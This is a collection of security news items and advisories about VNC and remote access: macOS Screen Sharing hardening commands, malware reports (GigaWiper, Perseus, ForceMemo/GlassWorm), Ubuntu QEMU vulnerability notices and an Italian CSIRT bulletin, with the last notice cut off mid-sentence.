Search/vnc
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realvnc
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Apple Screen Sharing Security, (Mon, Aug 17th)
About 20 years ago, with macOS 10.5 (Leopard), Apple introduced screen sharing. Apple did not invent a new protocol for screen sharing. Instead, it used the established VNC protocol. VNC is a pretty simple, unencrypted protocol using TCP port 5900. Historically, the protocol used a simple global password for authentication. Apple adapted the protocol for its own use, but overall, left the VNC protocol itself alone. A couple of weeks ago, two severe vulnerabilities exposed issues Apple introduced when it bolted on its own modifications to VNC. Currently, these vulnerabilities are being exploited, and a system with screen sharing exposed should be considered compromised. But here are some tips to improve screen sharing security. One weakness exposed by these recent vulnerabilities is Apple's support for both "regular" VNC authentication and authentication via Apple's own macOS authentication system. Apple does allow old-fashioned VNC authentication by defining a VNC password. If this authentication scheme is used, a VNC client is prompted only for a password, not a username. The client may then ask for permission to use the screen, or they will be presented with an OS login prompt. This can be useful if you are trying to provide remote support to a logged-in user. But it does provide access to the system without any strong authentication. Access should still be secured by local user credentials, but the process already runs with elevated privileges to allow access for any user who logs in. This contributed to a recent vulnerability. Next, you can restrict which users can remotely access the system. This should be restricted to allow only users who need remote access to connect. Access to screen sharing can also be controlled via macOS's built-in firewall. But the settings are not always clear. Just enabling the firewall is not sufficient. If "Automatically allow built-in software" is enabled, the firewall will allow access to screen sharing. The same is true for "Automatically allow downloaded signed software". Even if "stealth mode" is enabled, screen sharing is still available. You may also select "Block all incoming connections", which will block everything, even applications you approved in the past. Here are a few command-line tips to secure the system (this is for macOS 26; prior versions use slightly different syntax) use this to check the current firewall state /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate turn firewall on sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on turn stealth mode on to not respond to pings sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setstealthmode on do not allow signed binaries sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setallowsigned off disable filesharing sudo launchctl disable system/com.apple.smbd disable screensharing sudo launchctl disable system/com.apple.screensharing A script like this is handy if you need to switch from your internal network to a public one. VNC access should always happen via a VPN. SSH forwarding works well with VNC. Other solutions, like Tailscale, are easy to use if you need VNC for remote support. -- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu Twitter|
isc.sans.eduAug 17, 2026extracted
This new Windows malware can take over your PC and wipe it clean
Microsoft published new research on GigaWiper, a modular Golang backdoor for Windows that combines robust remote access with multiple ways to permanently destroy systems and data. GigaWiper is a Windows backdoor that Microsoft has observed in intrusions since October 2025. Rather than being a single-purpose wiper, it’s an operational platform that blends command‑and‑control (C2), data destruction, and remote access options in a single piece of malware. What’s remarkable is that GigaWiper seems to be built using previously separate tools like the Crucio ransomware and the FlockWiper disk wiper, wrapped into a consolidated framework. Based on the characteristics of the malware, which include espionage features (screen capture, VNC‑like remote control, system inventory) and multiple ways to irreversibly destroy data, it fits the pattern of an attacker that wants long‑term access but also reserves the option to wipe systems if they choose. GigaWiper implements about 20 commands, falling broadly into three categories: destruction, remote access/monitoring, and system management. Some examples include: Raw disk wiper that overwrites raw disk content in large chunks before forcing an immediate reboot. Fake ransomware (Crucio‑based) wiper that masquerades as ransomware. Instead of demanding payment, it encrypts files and then throws away the encryption key, making recovery impossible. Windows drive secure wiper that targets the Windows installation drive and performs multi‑pass overwrites using different byte patterns. Screen capture and recording, including one‑shot screenshots of each monitor and continuous recording while the user is active. Remote control via a TCP (Transmission Control Protocol) server that streams the desktop and allows keyboard and mouse input after creating its own Windows Firewall exceptions. GigaWiper also sets up a scheduled task called “OneDrive Update” that runs every minute and at startup to maintain persistence. Command-and-control servers were found at 185.182.193[.]21 and 212.8.248[.]104. Its management utilities include process, service, and registry managers that can create, list, or kill processes, manage Windows services, and navigate and mutate registry keys. It also collects system information, including hardware, operating system, network, firmware, user, and antivirus details. How to stay safe Because GigaWiper is deployed after attackers have already compromised a system, the best defence is preventing the initial intrusion and detecting malicious activity before destructive commands can be executed. Malwarebytes detects GigaWiper components with the detection names Trojan.FlockWiper and Backdoor.GigaWiper. If GigaWiper is detected, disconnect the affected machine from the network immediately to prevent attackers from initiating destructive commands. Enable tamper protection (or the equivalent feature in your security software) so local admins and malware cannot silently disable anti-malware or other security tools. Monitor for connections to the known C2 servers, the creation of the “OneDrive Update” scheduled task, and unauthorized attempts to disable Windows recovery. Finally, rotate credentials, particularly for any accounts that may have been compromised, and review logs for privilege escalations or lateral movement to determine if other systems have also been affected. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
malwarebytes.comJul 10, 2026extracted
USN-8412-1: QEMU vulnerabilities
Details Felipe Franciosi, Raphael Norwitz, and Peter Turschmid discovered that the iSCSI block driver in QEMU incorrectly handled certain responses from an iSCSI server. A remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-1711) It was discovered that the iSCSI block driver in QEMU incorrectly handled certain memory operations, leading to a heap-based buffer over-read. An attacker could possibly use this issue to expose sensitive information from the host. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-11947) Ziming Zhang discovered that the SM501 display driver in QEMU contained an integer overflow. A local attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue... Felipe Franciosi, Raphael Norwitz, and Peter Turschmid discovered that the iSCSI block driver in QEMU incorrectly handled certain responses from an iSCSI server. A remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-1711) It was discovered that the iSCSI block driver in QEMU incorrectly handled certain memory operations, leading to a heap-based buffer over-read. An attacker could possibly use this issue to expose sensitive information from the host. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-11947) Ziming Zhang discovered that the SM501 display driver in QEMU contained an integer overflow. A local attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-12829) Gaoning Pan and Xingwei Li discovered that the USB xHCI controller implementation in QEMU contained an infinite loop. An attacker inside the guest could possibly use this issue to cause QEMU to hang, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. (CVE-2020-14394) Lei Sun discovered that QEMU incorrectly handled certain MemoryRegionOps objects, leading to a NULL pointer dereference. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2020-15469) Alexander Bulekov discovered that the e1000e network device implementation in QEMU contained a use-after-free. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-15859) Ziming Zhang discovered that the XGMAC Ethernet controller in QEMU contained a buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-15863) Alexander Bulekov discovered that the SDHCI device emulation in QEMU contained a heap-based buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-17380) Sergej Schumilo, Cornelius Aschermann, and Simon Wörner discovered that the USB xHCI controller implementation in QEMU did not check a return value, leading to a use-after-free. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-25084) Gaoning Pan, Yongkang Jia, and Yi Ren discovered that the USB OHCI controller implementation in QEMU contained a stack-based buffer over-read. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-25624) It was discovered that the USB OHCI controller implementation in QEMU contained an infinite loop. An attacker inside the guest could possibly use this issue to cause QEMU to consume resources, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-25625) Cheolwoo Myung discovered that the USB EHCI emulation in QEMU did not handle DMA memory map failures, leading to a reachable assertion. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-25723) Gaoning Pan discovered that the network device emulation in QEMU could be made to trigger an assertion failure when processing packets that lacked a valid layer 3 protocol. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-27617) Wenxiang Qian discovered that the ATAPI emulation in QEMU did not properly validate a buffer index, leading to an out-of-bounds read. An attacker inside the guest could possibly use this issue to expose sensitive information or cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS. (CVE-2020-29443) Cheolwoo Myung discovered that the ESP SCSI emulation in QEMU contained a NULL pointer dereference. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2020-35504) Cheolwoo Myung discovered that the am53c974 SCSI host bus adapter emulation in QEMU contained a NULL pointer dereference. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2020-35505) It was discovered that the SDHCI controller emulation in QEMU contained out-of-bounds read and write issues. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-3409) It was discovered that several network device emulations in QEMU contained an infinite loop when operating in loopback mode. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-3416) Alexander Bulekov discovered that the floppy disk emulation in QEMU contained a heap-based buffer overflow. An attacker inside the guest could possibly use this issue to expose sensitive information or cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-3507) Remy Noel discovered that the USB redirector device emulation in QEMU performed an unbounded stack allocation when combining USB packets. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-3527) It was discovered that the QXL display device emulation in QEMU contained an integer overflow, leading to a heap-based buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-4206) It was discovered that the QXL display device emulation in QEMU performed a double fetch of guest-controlled values, leading to a heap-based buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-4207) It was discovered that the 9pfs server implementation in QEMU contained a race condition, leading to a use-after-free. A malicious 9p client could possibly use this issue to escalate privileges. This issue only affected Ubuntu 14.04 LTS. (CVE-2021-20181) Gaoning Pan discovered that the floppy disk emulation in QEMU contained a NULL pointer dereference. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-20196) Gaoning Pan discovered that the vmxnet3 network device emulation in QEMU contained an integer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-20203) It was discovered that the ARM Generic Interrupt Controller emulation in QEMU contained an out-of-bounds heap access. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-20221) Alexander Bulekov, Cheolwoo Myung, Sergej Schumilo, Cornelius Aschermann, and Simon Wörner discovered that the e1000 network device emulation in QEMU contained an infinite loop. An attacker inside the guest could possibly use this issue to cause QEMU to consume resources, resulting in a denial of service. This issue only affected Ubuntu 14.04 LTS and Ubuntu 16.04 LTS. (CVE-2021-20257) It was discovered that the 9p passthrough file system implementation in QEMU did not prevent opening special files on the host. A malicious guest could possibly use this issue to escape the exported 9p tree. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. (CVE-2023-2861) It was discovered that the virtio crypto device emulation in QEMU did not properly validate certain buffer lengths, leading to a heap buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 18.04 LTS. (CVE-2023-3180) It was discovered that the built-in VNC server in QEMU contained a NULL pointer dereference when cleaning up a connection that failed during the handshake. A remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 18.04 LTS. (CVE-2023-3354) It was discovered that QEMU could incorrectly direct a guest I/O operation to disk offset 0 instead of the intended offset. An attacker inside the guest could possibly use this issue to read or overwrite sensitive data, potentially gaining control of the host. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS. (CVE-2023-5088) It was discovered that several virtio device emulations in QEMU did not properly guard against DMA reentrancy, leading to a double free. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2024-3446) It was discovered that the SDHCI device emulation in QEMU contained a heap- based buffer overflow. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. (CVE-2024-3447) It was discovered that the QEMU disk image utility (qemu-img) did not properly handle certain crafted image files. An attacker could possibly use this issue to cause qemu-img to consume excessive resources or access an unintended external file, resulting in a denial of service. This issue only affected Ubuntu 20.04 LTS. (CVE-2024-4467) Cyrille Chatras discovered that the LSI53C895A SCSI Host Bus Adapter emulation in QEMU contained a use-after-free. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2024-6519) It was discovered that the NBD server in QEMU contained an improper synchronization issue during socket closure. A remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service. (CVE-2024-7409) It was discovered that the USB emulation in QEMU contained a reachable assertion. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. (CVE-2024-8354) It was discovered that QEMU incorrectly handled resources during the VNC WebSocket handshake, leading to a use-after-free. A remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service. This issue only affected Ubuntu 18.04 LTS and Ubuntu 20.04 LTS. (CVE-2025-11234) It was discovered that QEMU could be made to read out of bounds when reading VMDK images. An attacker could possibly use this issue to expose sensitive information or cause QEMU to crash, resulting in a denial of service. (CVE-2026-2243) The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.
ubuntu.comJun 9, 2026extracted
Hundreds of Internet-Facing VNC Servers Expose ICS/OT
Millions of remote access RDP and VNC servers are exposed to the internet, and hundreds of them may provide access to industrial control systems (ICS) and other operational technology (OT), according to research by Forescout. RDP (Remote Desktop Protocol) and VNC (Virtual Network Computing) are widely used for remote access, but they should not be exposed directly to the open internet without a secure gateway. A Shodan search shows roughly 1.8 million RDP and 1.6 million VNC servers exposed on the internet, a majority in China and the United States. Forescout has determined that the majority are honeypots, ISPs, and hosting providers, but its researchers still found 91,000 RDP and 29,000 VNC servers that could be linked to specific industries. A significant percentage of exposed servers is hosted by organizations in the retail, education, services, manufacturing, and healthcare sectors. An analysis showed that many of the exposed servers run Windows versions that reached end of life or end of support. More than 19,000 RDP servers are vulnerable to the old vulnerability named BlueKeep, which has been exploited by a wide range of threat actors. In addition, nearly 60,000 VNC servers do not have authentication enabled. One of the most concerning findings is that 670 of these VNC servers provide direct access to ICS/OT panels without authentication. Access to these cyber-physical systems (CPS) can be highly valuable to attackers, and the threat is not only theoretical. Forescout pointed out that Russia-linked hackers have been known to target OT systems via VNC, as warned by government agencies in December 2025. One Russia-linked group, known as Infrastructure Destruction Squad (IDS) and Dark Engine, recently shared a tool designed to scan for RDP, VNC, and OT-specific protocols. “On February 23, the group shared a video of a purportedly compromised groundwater pumping station in Israel that it said was found with this tool. On March 9, the group shared another example of the tool being run against a specific target set, including a VNC screenshot of a control system in Turkey,” Forescout said, adding, “Between these two posts, the group also advertised the sale of access to an exposed SCADA system in Czechia.” In addition to these attacks, the cybersecurity firm noted that profit-driven cybercriminals have been abusing RDP for ransomware deployment, and that the Redheberg botnet has infected nearly 40,000 exposed VNC servers since February. Organizations can mitigate these risks by using dedicated secure remote access solutions, including ones designed specifically for accessing sensitive CPS. Related: Serial-to-IP Converter Flaws Expose OT and Healthcare Systems to Hacking Related: ZionSiphon Malware Targets ICS in Water Facilities Related: CISA Warns of ScadaBR Vulnerability After Hacktivist ICS Attack Related: ICS Devices Bricked Following Russia-Linked Intrusion Into Polish Power Grid
securityweek.comApr 29, 2026extracted
Esposizione di servizi di accesso remoto VNC: rischi e mitigazioni
Esposizione di servizi di accesso remoto VNC: rischi e mitigazioni Bollettino BL01/260416/CSIRT-ITA Sintesi Nell'ambito delle proprie attività, volte ad individuare fattori di rischio a cui è esposto lo spazio digitale nazionale, lo CSIRT Italia ha rilevato un incremento delle attività ostili, spesso condotte da gruppi hacktivisti, indirizzate verso apparati SCADA e IoT esposti impropriamente tramite servizi di accesso remoto non adeguatamente protetti, quali ad esempio instanze VNC. Introduzione VNC è un sistema di controllo remoto che consente di interagire con il desktop grafico di un sistema (es. desktop di Windows, Linux e macOS), utilizzando il protocollo RFB (Remote Framebuffer Protocol). Sebbene alcune implementazioni supportino meccanismi di cifratura, molte configurazioni trasmettono i dati in chiaro per impostazione predefinita o utilizzano schemi crittografici deboli, rendendo il traffico vulnerabile a intercettazioni. L’esposizione di VNC su Internet senza adeguate misure di protezione potrebbe permettere attacchi di tipo brute-force e la possibilità di carpire credenziali utente e/o informazioni sensibili, tramite intercettazioni del traffico in chiaro. Spesso utilizzato sia in ambiti industriali e laboratori o contesti domestici, VNC può rappresentare un serio rischio per la sicurezza qualora non confinato a reti interne o protetto da meccanismi di accesso controllato, come VPN, firewall o sistemi di autenticazione centralizzata. Questo tipo di servizio consente l’accesso diretto alla console dei sistemi remoti ed è spesso oggetto di attività malevole, incluse campagne condotte da gruppi hacktivisti finalizzate all'acquisizione del controllo completo dei sistemi. Rischi associati all’impiego di VNC 1. Limiti architetturali del protocollo RFB Cifratura non adeguata: in molte implementazioni il protocollo RFB, su cui si basa VNC, non applica di default una cifratura robusta del traffico. In tali condizioni, la conduzione di un attacco di tipo “MitM” (Man‑in‑the‑Middle), da parte di un attaccante con accesso al medesimo segmento di rete in cui è presente il server VNC, potrebbe consentire di intercettare le comunicazioni e ricostruire l’intera sessione di accesso remoto. Meccanismi di autenticazione limitati: diverse implementazioni di VNC prevedono password con lunghezza massima ridotta (tipicamente 8 caratteri), esponendo il servizio ad attacchi di tipo brute-force o password guessing. Accesso “Guest” senza la necessità di credenziali: diverse implementazioni di VNC consentono l’accesso in lettura ai sistemi senza la necessità di autenticarsi al sistema facilitando la raccolta di “prove” utili alle rivendicazioni hacktiviste. Assenza di controllo granulare dei privilegi: l’accesso VNC fornisce generalmente il controllo completo del sistema remoto, senza livelli di autorizzazione differenziati. 2. Obsolescenza e gestione del ciclo di vita Aggiornamenti di sicurezza non uniformi: alcune implementazioni VNC, in particolare versioni meno recenti o software non più mantenuti, non ricevono aggiornamenti di sicurezza regolari. Disponibilità di alternative più sicure: accessi remoti tramite SSH o piattaforme di remote access basate su architetture Zero Trust offrono livelli di sicurezza superiori. Criticità in ambito di compliance: l’utilizzo di servizi VNC non protetti può risultare non conforme a diversi framework normativi e di sicurezza (es. GDPR, ISO/IEC 27001), in particolare per quanto riguarda la protezione dei dati in transito. 3. Rischi derivanti dall’esposizione diretta su Internet Elevata visibilità agli scanner automatici: motori di scansione come Shodan e Censys individuano rapidamente i servizi VNC esposti (tipicamente sulla porta 5900/TCP), rendendoli bersagli privilegiati per bot e attacchi automatizzati. Presenza di vulnerabilità note (CVE): numerose vulnerabilità documentate consentono, in specifiche versioni, il bypass dei meccanismi di autenticazione o l’esecuzione di codice non autorizzato. Facilitazione della compromissione post-accesso: una volta ottenuto l’accesso VNC, un attaccante può procedere rapidamente con l’esfiltrazione di dati, l’installazione di malware e il movimento laterale all’interno della rete. Azioni di mitigazione Sulla base delle considerazioni esposte, si raccomanda di valutare la dismissione o la sostituzione delle soluzioni di accesso remoto basate sul protocollo VNC, in favore di strumenti alternativi più recenti, sicuri e adeguatamente manutenuti. Ove l’intervento di sostituzione non possa essere attuato nell’immediato, si raccomanda l’implementazione delle seguenti misure di sicurezza al fine di ridurre la superficie di attacco e mitigare i rischi associati. Evitare l’esposizione diretta del servizio VNC su Internet: - verificare l’effettiva necessità di pubblicazione delle interfacce dei sistemi di controllo riducendone, ove possibile, la raggiungibilità ai soli utenti strettamente necessari, ad esempio attraverso misure di firewalling/mutua autenticazione SSL, VPN, whitelisting, etc.; - configurare il server VNC affinché sia raggiungibile esclusivamente dalla rete interna o dalla VPN aziendale; - configurare VNC per esporre il servizio esclusivamente sull’interfaccia di rete necessaria (es. management) e non su tutte le interfaccie della macchina su cui è installato; - posizionare l’accesso VNC su una rete segregata dal resto della rete aziendale. Sostituire le password predefinite e adottare credenziali complesse e univoche e, ove possibile, abilitare l’autenticazione a più fattori (MFA). Ruotare periodicamente le credenziali impostate. Disabilitare la clipboard se non essenziale. Disabilitare il trasferimento di file, se presente. Evitare sessioni senza autenticazione dell’utente (“guest”) sugli endpoint. Chiudere automaticamente le sessioni inattive. Innalzare il livello di monitoraggio per individuare tempestivamente tentativi di accesso non autorizzati o attività anomale creando ad esempio le seguenti regole: - autenticazioni fallite multiple; - connessioni effettuate fuori dall’orario lavorativo; - connessioni da indirizzi IP localizzati in aree geografiche in cui il personale tecnico non opera; - schemi di riconnessione ripetuti. Applicare regolarmente patch di sicurezza e aggiornamenti software/firmware.
acn.gov.itApr 16, 2026extracted
New ‘Perseus’ Android malware checks user notes for secrets
A new Android malware called Perseus is checking user-curated notes to steal sensitive information, like passwords, recovery phrases, or financial data. Distributed over unofficial stores disguised as IPTV, Perseus allows complete device takeover, screenshot capturing , and overlay attacks. By posing as IPTV apps, which are often used to stream pirated content, the threat actor relies on the user's familiarity with sideloading APKs from outside the Google Play store and ignoring security warnings. This trend has emerged over the past eight months, as users seek free or low-cost ways to access live sports broadcasts. In a recent campaign, threat actors leveraged the IPTV app lure to distribute the Massiv Android banking malware. According to researchers at mobile security company ThreatFabric, Perseus is primarily targeting financial institutions in Turkey and Italy, as well as crypto services. One app loading the malware is called Roja Directa TV, a popular sports streaming service that has been the target of copyright infringement and shutdown actions. The dropper for Perseus can bypass Android 13+ sideloading restrictions and is the same one for delivering the Klopatra and Medusa malware. According to ThreatFabric researchers, "Perseus appears to build specifically on the Phoenix codebase," which was created from the Cerberus code, leaked almost six years ago. In a report today, the researchers say that the malware has two versions, one in Turkish and a more refined one in English, which also features better debugging and additional quality-of-life features. The English variant includes extensive logging and emojis in the code, which is a strong indication that AI tools were used in the development process. A focus on Turkey is also evident in the list of targeted financial institutions in the country (17), followed by Italy with 15, Poland with 5, Germany (3), and France (2). The malware also targets 9 cryptocurrency apps. By abusing Android Accessibility Services, Perseus gives operators full remote control over the infected devices, enabling them to: Capture screenshots continuously and stream them to the operator (start_vnc) Send a structured UI hierarchy for programmatic remote interaction (start_hvnc) Simulate taps, swipes, text input, long presses, and other UI navigation actions Turn the screen on, launch apps, and block apps Enable a black screen overlay to hide activity from the victim Launch overlay attacks and perform keylogging Perseus’ unusual feature targets Android note-taking apps, including Google Keep, Xiaomi Notes, Samsung Notes, ColorNote, Evernote, Microsoft OneNote, and Simple Notes. ThreatFabric researchers note that this is the first time they've seen an Android malware checking for sensitive details in personal notes on the device. “While many Android malware families focus primarily on harvesting credentials or intercepting communications, this feature reflects a broader interest in contextual and personally curated data,” reads the ThreatFabric report. “Notes often contain sensitive information such as passwords, recovery phrases, financial details, or private thoughts, making them a valuable target for attackers.” The malware’s English version uses Accessibility Services to systematically open the notes apps one by one and scan individual notes stored in them. Perseus performs extensive anti-analysis and evasion checks before executing on a device, including root, emulator fingerprints, SIM details, hardware profile, battery data, Bluetooth presence, app count, and Google Play Services availability, and formulates a “suspicion score” that it sends to the command-and-control (C2) panel. Based on that score, the operator decides whether to proceed with data theft. To minimize risk, Android users are recommended to avoid sideloading APKs from questionable sources and to only download legal streaming apps from the official Android app store, Google Play. Also, ensure that Play Protect is active and use it to regularly scan the device for known threats. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 19, 2026extracted
ForceMemo: Python Repositories Compromised in GlassWorm Aftermath
Threat actors have been abusing credentials stolen in the VS Code GlassWorm campaign to hack GitHub accounts and inject malware into Python repositories, StepSecurity reports. The campaign likely started on March 8, targeting Python projects such as Django apps, ML research code, PyPI packages, and Streamlit dashboards. The purpose of the attacks is likely the theft of cryptocurrency and sensitive information. Using compromised developer credentials, the threat actors have been rebasing the latest legitimate commits on the default branch of repositories, adding obfuscated malicious code, and then force-pushing the commits. The malware injection method used in this campaign, which StepSecurity dubbed ForceMemo, leaves fewer traces of compromise, as both the commit message and author date remain unchanged from the original commit, and only the committer date is modified. “The evidence for account-level compromise is clear: when an account with multiple repositories is taken, every repo under that account gets injected,” StepSecurity notes. During execution, the injected code performs system checks and skips machines that have the language set to Russian, which points to an Eastern European cybercrime operation. The malware queries a specific Solana blockchain address for specific transaction memos to read instructions. Based on these instructions, it proceeds to fetch an encrypted JavaScript payload, decrypts and executes it, and creates persistence. The threat actor behind the ForceMemo campaign has the private key for the cryptocurrency address the malware connects to and uses Solana’s Memo program to post instructions. The earliest transaction on the address was recorded on November 27, 2025, more than three months before the current campaign started. “The address has 50 transactions total, with the attacker regularly updating the payload URL, sometimes multiple times per day. This suggests the attacker was targeting other infection vectors before pivoting to GitHub repos,” StepSecurity notes. According to the cybersecurity firm, hundreds of Python repositories across hundreds of GitHub accounts have been compromised in the ForceMemo campaign. The GlassWorm malware The GlassWorm malware, named this way because it was using Unicode variation selectors to make its code invisible to the human eye and avoid detection, was designed to steal sensitive information such as NPM, GitHub, and Git credentials, as well as cryptocurrency assets. In addition to information-stealing capabilities, the malware could deploy SOCKS proxy servers and provide threat actors with remote access to the victims’ systems via hidden VNC servers. GlassWorm initially emerged in October 2025 in a supply chain attack targeting Visual Studio developers via the OpenVSX marketplace and was likely downloaded over 35,000 times. The attack was fully contained within three days. A second iteration of the malware was observed in November, when it infected three VS Code extensions with a combined download count of roughly 10,000. Given that VS Code extensions auto-update, the malware likely infected all users without their knowledge. In late January 2026, another GlassWorm attack was observed, after a threat actor compromised a developer’s account and published malicious versions of four extensions that had a combined download count of over 22,000. Fresh GlassWorm campaigns, transitive extensions Now, both Aikido and Socket warn that GlassWorm is once again actively compromising VS Code extensions, while also focusing on NPM and GitHub. According to Aikido, roughly 150 GitHub repositories were compromised in fresh GlassWorm attacks between March 3 and March 9. “The campaign has also expanded beyond GitHub. We are now seeing the same technique deployed in NPM and the VS Code marketplace, suggesting GlassWorm is operating a coordinated, multi-ecosystem push,” the security firm notes. The fresh GlassWorm attacks targeting the Open VSX marketplace show a major shift: the threat actors no longer embed the malware directly into the listings, but use “initially standalone-looking extensions into transitive delivery vehicles”, Socket says. Specifically, the attackers abuse two manifest fields that allow extensions to automatically pull other extensions to turn seemingly benign extensions into installers for malicious ones. The attackers can update any extension they control to add these manifest fields and include instructions to install malicious extensions. “Rather than embedding the GlassWorm loader in every malicious listing, the threat actor can publish an extension that appears benign and later cause the editor to install a separate GlassWorm-linked extension,” Socket explains. The cybersecurity firm identified over 70 extensions associated with this campaign, most of which had been removed from the Open VSX registry as of March 13. The extensions were impersonating popular utilities, code runners, language tools, and quality-of-life extensions. AI developers were also targeted in this campaign. Related: Over 100 GitHub Repositories Distributing BoryptGrab Stealer Related: GitHub Issues Abused in Copilot Attack Leading to Repository Takeover Related: VS Code Configs Expose GitHub Codespaces to Attacks
securityweek.comMar 16, 2026extracted
USN-8073-1: QEMU vulnerabilities
Details It was discovered that the UHCI controller implementation of QEMU could be brought into an invalid state. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. (CVE-2024-8354) It was discovered that QEMU incorrectly handled memory during certain VNC operations. An remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2025-11234) It was discovered that the e1000 network device implementation of QEMU could be made to write out of bounds. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 25.10. ( It was discovered that the UHCI controller implementation of QEMU could be brought into an invalid state. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service. (CVE-2024-8354) It was discovered that QEMU incorrectly handled memory during certain VNC operations. An remote attacker could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. (CVE-2025-11234) It was discovered that the e1000 network device implementation of QEMU could be made to write out of bounds. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 25.10. (CVE-2025-12464) It was discovered that the virtio-crypto device implementation of QEMU did not limit the length of a certain path input. An attacker inside the guest could possibly use this issue to cause QEMU to consume large amount of memory, resulting in a denial of service. This issue only affected Ubuntu 24.04 LTS and Ubuntu 25.10. (CVE-2025-14876) It was discovered that the KVM Xen guest support of QEMU could be made to read out of bounds. An attacker inside the guest could possibly use this issue to cause QEMU to crash, resulting in a 